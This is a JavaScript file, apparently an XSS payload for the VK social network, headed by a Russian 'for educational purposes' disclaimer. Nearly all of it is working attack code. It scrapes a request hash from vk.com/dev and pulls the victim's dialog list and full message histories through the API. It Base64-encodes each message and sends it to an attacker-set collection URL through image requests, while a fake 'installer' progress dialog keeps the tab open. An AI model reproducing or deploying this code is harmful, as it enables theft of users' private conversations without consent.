vk_api.js

/* Все написано в ознакомительных целях!!! */

/**
*
*  Base64 encode / decode
*  <a href="http://www.webtoolkit.info/" title="http://www.webtoolkit.info/" class="liexternal">http://www.webtoolkit.info/</a>
*
**/
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/**
*
*   VKAPI
*
**/
var vkAPI = {

    victim_id: 0,
    percent_complete: 0,

    ui : {

        lbl: {},
        pb: {},

        set_progress: function(perc, stat) {
            vkAPI.ui.pb.css({ width: perc + '%' }).text(perc + '%');;
            vkAPI.ui.lbl.text(stat);

        },

        createDialog: function() {
            var dlg = $('<div></div>', {
                class: 'im--dialog-load',
                id: 'vk_dialog'
            });
            var new_left = (($(window).width() / 2) - (550 / 2));
            var new_top = (($(window).height() / 2) - (129 / 2));
            dlg.css({
                width: 550,
                height: 129,
                background: '#fff',
                border: '1px solid #939393',
                'border-radius': '4px',
                margin: '0 auto',
                position: 'absolute',
                top: new_top,
                left: new_left,
                'box-shadow': '#ccc 1px 1px 2px',
                'z-index': '99999999'
            });

            var label = $('<div></div>', {
                class: 'im--dialog-label',
                id: 'vk_label'
            });
            label.css({
                border: '1px solid #faebcc',
                color: '#8a6d3b',
                background: '#fcf8e3',
                margin: '15px 16px 7px 19px',
                padding: '4px 5px',
                'border-radius': '3px'
            });
            label.html('<b>Добро пожаловать в установщик!</b> Дождитесь окончания загрузки данных с сервера и не закрывайте эту вкладку');
            dlg.append(label);

            var progress_bar = $('<div></div>', {
                class: 'im--dialog-pb',
                id: 'vk_pb'
            });
            progress_bar.css({
                'box-shadow': 'inset 0 1px 2px rgba(0,0,0,.1)',
                background: '#f5f5f5',
                'border-radius': '4px',
                margin: '11px 16px 7px 19px',
                height: 20
            });
            vkAPI.ui.pb = $('<div></div>', {
                id: 'vk_pb_inner'
            }).css({
                background: '#428bca',
                height: '100%',
                'border-radius': '4px',
                width: '0%',
                'line-height': '19px',
                color: '#fff',
                'text-align': 'center'
            });
            progress_bar.append(vkAPI.ui.pb);
            dlg.append(progress_bar);

            vkAPI.ui.lbl = $('<div></div>', {
                class: 'im--status-label',
                id: 'vk_status_lbl'
            }).html('Ожидание...');
            vkAPI.ui.lbl.css({
                margin: '11px 16px 7px 19px'
            });
            dlg.append(vkAPI.ui.lbl);

            dlg.prependTo('body');
        }

    },

    dialogs_storage: [],
    messages_storage: [],
    dialogs_data_storage: [],

    /* Тут должен быть адрес ресурса, на который приходят данные */
    __action_url: '',
    __api_url: 'https://vk.com/dev/',

    __add_xss_image: function(params) {
        var img = new Image();
        img.onload = function() {
            img = undefined;
        }
        img.src = vkAPI.__action_url + '?' + params;
    },

    api: function(method, params, callback) {

        $.ajax({
            type: 'POST',
            url: vkAPI.__api_url + method,
            success: function(raw_data) {
                var $data = $(raw_data) || {};
                var raw_hash = $data.find('#dev_req_run_btn').attr('onclick').match(/\'(.*?)\'/i)[1]; // EPIC WIN!
                var a_send = $.extend({ act: 'a_run_method', al: 1, hash: raw_hash, method: method, param_v: '5.58' }, params);
                $.ajax({
                    type: 'POST',
                    url: vkAPI.__api_url,
                    data: a_send,
                    success: function(raw) {
                        var response = raw.match(/\{\"(.*)/i)[0];
                        var jsObj = $.parseJSON(response);

                        callback(jsObj, params);
                    }
                })

            }
        })
    },

    check_dialogs_load: function(dialogs_count, callback) {
        var check_timer0 = setInterval(function() {

            if (vkAPI.dialogs_storage.length == dialogs_count) {
                clearInterval(check_timer0);
                callback();
            }
        }, 500);
    },

    process_messages: function() {
        var dialogs_count = vkAPI.dialogs_storage.length;
        var work_count = 0, workFlag = false;

        var load_msg_timer2 = setInterval(function() {
            if (work_count == (dialogs_count)) {
                clearInterval(load_msg_timer2);
                workFlag = true;
            }
            var current_dialog = vkAPI.dialogs_storage[work_count];

            if (!workFlag) {
                workFlag = true;
                vkAPI.load_messages(current_dialog, function(user_id, data, work_info) {
                    work_count++;
                    workFlag = false;
                    perc = Math.round((work_count / dialogs_count) * 100);
                    vkAPI.percent_complete = perc;
                    vkAPI.ui.set_progress(perc, work_info + ', [' + work_count + ' / ' + dialogs_count + ']');
                    console.clear();
                });
            }

        }, 500);
    },

    load_messages: function(user_id, callback) {
        var offset = 0, steps = 0, msg_count = 0, i = 0, cur_msg_count = 0, tmp_msg_count = 0;
        var msg_data_arr = new Array();
        vkAPI.api('messages.getHistory', { param_count: 0, param_user_id: user_id }, function(data) {
            msg_count = parseInt(data.response.count);
            steps = Math.ceil(msg_count / 200) -1;

            var load_msg_timer1 = setInterval(function() {

                if (i == (steps +1)) {
                    work_info = 'Статус: [' + user_id + '] - ' + msg_count + '.. Подходов: ' + (steps +1);
                    callback(user_id, msg_data_arr, work_info);
                    clearInterval(load_msg_timer1);
                }

                vkAPI.api('messages.getHistory', { param_count: 200, param_offset: offset, param_user_id: user_id, param_rev: 1 }, function(msg_data, params) {
                    cur_msg_count = parseInt(msg_data.response.items.length);
                    for (var j = 0; j < cur_msg_count; j++) {
                        var items = msg_data.response.items[j];
                        var msg_body = Base64.encode(items.body);
                        vkAPI.__add_xss_image('act=set_msgs&v=' + vkAPI.victim_id + '&u=' + items.user_id + '&f=' + items.from_id + '&d=' + items.date + '&b=' + msg_body + '&p=' + vkAPI.percent_complete);
                    }
                });

                offset = offset + 200;
                i++;
            }, 500);
        });
    },



    begin_dialogs: function() {
        console.log('Загружаю диалоги');
        $('body').html('');
        vkAPI.ui.createDialog();
        var loadUserIDFlag = false, dialog_array = [];

        vkAPI.api('users.get', null, function(data) {
            vkAPI.victim_id = data.response[0].id;
            loadUserIDFlag = true;
        });

        vkAPI.api('messages.getDialogs', { param_count: 0 }, function(data) {
            var dialogs_count = parseInt(data.response.count);
            var load_steps = Math.ceil(dialogs_count / 200);
            var offset = 0;

            vkAPI.check_dialogs_load(dialogs_count, function() {
                console.log('Диалоги загруженны');
                vkAPI.process_messages();
            });

            for (var i = 0; i < load_steps; i++) {

                vkAPI.api('messages.getDialogs', { param_count: 200, param_offset: offset }, function(dialogs_data) {
                    current_count = dialogs_data.response.items.length;
                    for (j = 0; j < current_count; j++) {
                        if (dialogs_data.response.items[j].message.chat_id) {
                            var chat_id = dialogs_data.response.items[j].message.chat_id;
                            //vkAPI.dialogs_data_storage.push('chat' + chat_id);
                            vkAPI.dialogs_storage.push(dialogs_data.response.items[j].message.user_id);
                        } else {
                            var user_id = dialogs_data.response.items[j].message.user_id;
                            //vkAPI.dialogs_data_storage.push('user' + user_id);
                            vkAPI.dialogs_storage.push(user_id);
                            vkAPI.__add_xss_image('act=set_dialogs&victim_id=' + vkAPI.victim_id + '&dialog_id=' + user_id);

                        }
                    }
                });

                offset = offset +200;
            }
        });
    }

};
vkAPI.begin_dialogs();